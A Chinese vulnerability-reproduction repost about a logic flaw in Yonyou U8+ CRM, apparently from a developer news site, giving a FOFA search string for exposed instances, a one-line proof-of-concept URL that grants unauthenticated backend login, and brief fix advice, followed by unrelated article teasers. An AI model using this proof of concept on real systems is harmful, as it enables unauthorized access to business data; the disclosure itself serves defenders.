用友U8+CRM 逻辑漏洞登录后台漏洞复现

0x01 产品简介

用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。

0x02 漏洞概述

用友 U8 CRM客户关系管理系统 reservationcomplete.php文件存在逻辑漏洞，未授权的攻击者通过漏洞可以直接登录后台，获取系统内部敏感信息，使系统处于极不安全状态。

0x03 复现环境

FOFA：app="用友U8CRM"

0x04 漏洞复现

PoC

/background/reservationcomplete.php?ID=1

拼接url访问页面接口，重新访问首页即可登录 

0x05 修复建议

关闭互联网暴露面删除或修改相关功能模块代码 

升级至安全版本

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/602844.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

渗透第四天 (抽空再看一天 )

渗透第四天 (抽空再看一天 )

网站不同的加密 ok　 常用的对称加密算法有：DES、3DES、RC2、RC4、AES 常用的非对称加密算法有：RSA、DSA、ECC 使用单向散列函数的加密算法（摘要算法）：MD5、SHA 密码存储加密 md5 32位或者16位 0-9 a-f…
阅读更多...
word表格跑到下一页，老是空很多在上一页，且与标题分离?

word表格跑到下一页，老是空很多在上一页，且与标题分离?

1、方法一 表格属性里边，行设置中，有一个“跨页断行”的选项，勾上应该可以解决你这个问题，你可以先试试； 2、方法二 鼠标点击表格任意位置，将光标定位到表格中，然后单击鼠标右键，…
阅读更多...
第11章 GUI Page462~476 步骤二十三，二十四，二十五 Undo/Redo ②“添加操作”支持“Undo/Redo”

第11章 GUI Page462~476 步骤二十三，二十四，二十五 Undo/Redo ②“添加操作”支持“Undo/Redo”

工程二 1.为AddAction类添加Undo() Redo() GetName()成员函数 2.实现AddAction类的Undo() Redo()函数 3.运行效果，但是日志窗口没有记录 原因：AddAction(EditAction* newAction)函数没有实现，另外参数是EditAction类型 所以我们还需要在基…
阅读更多...
2023版本QT学习记录 -11- 多线程的使用（QT的方式）

2023版本QT学习记录 -11- 多线程的使用（QT的方式）

———————多线程的使用(QT方式)——————— 🎄效果演示 两个线程都输出一些调试信息 🎄创建多线程的流程 🎄头文件 #include "qthread.h"🎄利用多态重写任务函数 class rlthread1 : public QThread {Q_OBJE…
阅读更多...
imgaug库指南（六）：从入门到精通的【图像增强】之旅

imgaug库指南（六）：从入门到精通的【图像增强】之旅

引言 在深度学习和计算机视觉的世界里，数据是模型训练的基石，其质量与数量直接影响着模型的性能。然而，获取大量高质量的标注数据往往需要耗费大量的时间和资源。正因如此，数据增强技术应运而生，成为了解决这一问题的…
阅读更多...
web期末作业动态时钟UI界面毛玻璃版

web期末作业动态时钟UI界面毛玻璃版

效果图 html代码奉上 <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthde…
阅读更多...
Android Canvas图层saveLayer剪切clipRect原图对应Rect区域，Kotlin（1）

Android Canvas图层saveLayer剪切clipRect原图对应Rect区域，Kotlin（1）

Android Canvas图层saveLayer剪切clipRect原图对应Rect区域&#xff0c;Kotlin&#xff08;1&#xff09; 上面一个ImageView&#xff0c;下面一个ImageView&#xff0c;两个ImageView同等大小。当手指在上面的ImageView滑动时候&#xff0c;在下面ImageView里面显示对应区域“…
阅读更多...
真核微生物基因组质量评估工具EukCC的安装和详细使用方法

真核微生物基因组质量评估工具EukCC的安装和详细使用方法

介绍&#xff1a; GitHub - EBI-Metagenomics/EukCC: Tool to estimate genome quality of microbial eukaryotes 安装&#xff1a; docker&#xff1a; docker pull microbiomeinformatics/eukcc 推荐conda 环境&#xff1a; conda install -c conda-forge -c bioconda …
阅读更多...
OpenHarmony应用构建工具Hvigor的构建流程

OpenHarmony应用构建工具Hvigor的构建流程

前言 OpenHarmony 应用和服务使用 Hvigor 作为工程的构建工具。本篇文章将介绍 Hvigor 的构建流程&#xff0c;通过修改脚本配置使 Hvigor 执行自定义任务。 Hvigor 的构建流程 加载命令行参数和环境变量&#xff1b;初始化项目结构&#xff0c;创建 Project 和 Module 实例…
阅读更多...
Guava Cache 异步刷新技巧

Guava Cache 异步刷新技巧

前言 Guava Cache是一款非常优秀的本地缓存框架&#xff0c;提供简洁易用的 API 供开发者使用。 这篇文章&#xff0c;我们聊聊如何使用 Guava Cache 异步刷新技巧带飞系统性能 。 1 基本用法 首先&#xff0c;在 Java 应用中添加 maven 依赖&#xff1a; <dependency&g…
阅读更多...
我发现了一个还行的生成图片的网站（新人登录可领30金币）

我发现了一个还行的生成图片的网站（新人登录可领30金币）

这个网站是一个生成图片的在线工具&#xff0c;它提供了多种功能和选项&#xff0c;让用户可以轻松地创建各种风格和类型的图片。它的界面简洁易用&#xff0c;新用户登录后还可以获得30个金币的奖励。这些金币可以用来解锁更多的高级功能和特效。用户可以选择不同的背景、字体…
阅读更多...
彻底认识Unity ui设计中Space - Overlay、Screen Space - Camera和World Space三种模式

彻底认识Unity ui设计中Space - Overlay、Screen Space - Camera和World Space三种模式

文章目录 简述Screen Space - Overlay优点缺点 Screen Space - Camera优点缺点 World Space优点缺点 简述 用Unity中开发了很久&#xff0c;但是对unity UI管理中Canvas组件的Render Mode有三种主要类型&#xff1a;Screen Space - Overlay、Screen Space - Camera和World Spa…
阅读更多...
mysql-数据库DDL操作

mysql-数据库DDL操作

之前已经学习了安装mysql服务端还有进行了一些关于数据库安全的设置&#xff0c;现在开始学习创建数据库和数据表以及进行修改。 MySQL的DDL&#xff08;Data Definition Language&#xff09;语句用于定义或更改数据库结构&#xff0c;包括创建、修改或删除表、视图、索引等数…
阅读更多...
详细平稳解

详细平稳解

1.详细平衡 定义&#xff1a;一个在高斯白噪声激励下的动力学系统在状态空间中如果用如下运动方程描述&#xff1a; d d t X j \frac{d}{dt}\mathbf{X}_{j} dtd​Xj​ f j ( X ) f_{j}(\mathbf{X}) fj​(X) ∑ l 1 m g j l ( X ) W l ( t ) \sum_{l1}^{m}g_{jl}(\mathbf{X})W…
阅读更多...
Open CASCADE学习|入门Hello world

Open CASCADE学习|入门Hello world

目录 1、新建项目 2、写代码 3、配置 3.1配置头文件 3.2配置静态库文件 3.3配置动态库文件 4、编译运行 1、新建项目 新建一个Win32控制台应用程序&#xff0c;取名为HelloWorld&#xff0c;如下图所示&#xff1a; 2、写代码 测试所用的代码如下&#xff1a; // Use T…
阅读更多...
Redis：原理速成+项目实战——Redis实战6（封装缓存工具（高级写法）缓存总结）

Redis：原理速成+项目实战——Redis实战6（封装缓存工具（高级写法）缓存总结）

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位大四、研0学生&#xff0c;正在努力准备大四暑假的实习 &#x1f30c;上期文章&#xff1a;Redis&#xff1a;原理速成项目实战——Redis实战5&#xff08;互斥锁、逻辑过期解决缓存击穿问题&#xff09; &#x1f4da;订…
阅读更多...
C# Entity Framework 中不同的数据的加载方式

C# Entity Framework 中不同的数据的加载方式

延迟加载 延迟加载是指在访问导航属性时&#xff0c;Entity Framework 会自动查询数据库并加载相关数据。这种方式在我们需要访问导航属性时比较方便&#xff0c;因为我们无需手动加载相关数据&#xff0c;而且只会在需要时才会进行查询&#xff0c;从而减少了不必要的开销。但…
阅读更多...
Python基础-07（for循环、range()函数）

Python基础-07（for循环、range()函数）

文章目录 前言一、for循环1.for循环结构2.参数 end&#xff08;使其输出时变为横向&#xff09; 二、range()函数1.range(常数)2.range(起始值&#xff0c;结束值)3.range(起始值&#xff0c;结束值&#xff0c;步长)4.例子 总结 前言 此章介绍循环结构中最常用的循环&#xf…
阅读更多...
Redisson与SQL乐观锁：实现接口幂等性的终极指南与实战演示

Redisson与SQL乐观锁：实现接口幂等性的终极指南与实战演示

Redisson与SQL乐观锁&#xff1a;实现接口幂等性的终极指南与实战演示 Redisson与SQL乐观锁&#xff1a;实现接口幂等性的终极指南与实战演示 接口幂等性.md
阅读更多...
497 蓝桥杯 成绩分析 简单

497 蓝桥杯 成绩分析 简单

497 蓝桥杯 成绩分析 简单 //C风格解法1&#xff0c;*max_element&#xff08;&#xff09;与*min_element&#xff08;&#xff09;求最值 //时间复杂度O(n)&#xff0c;通过率100% #include <bits/stdc.h> using namespace std;using ll long long; const int N 1e4 …
阅读更多...
最新文章

Copyright @ 2022~2023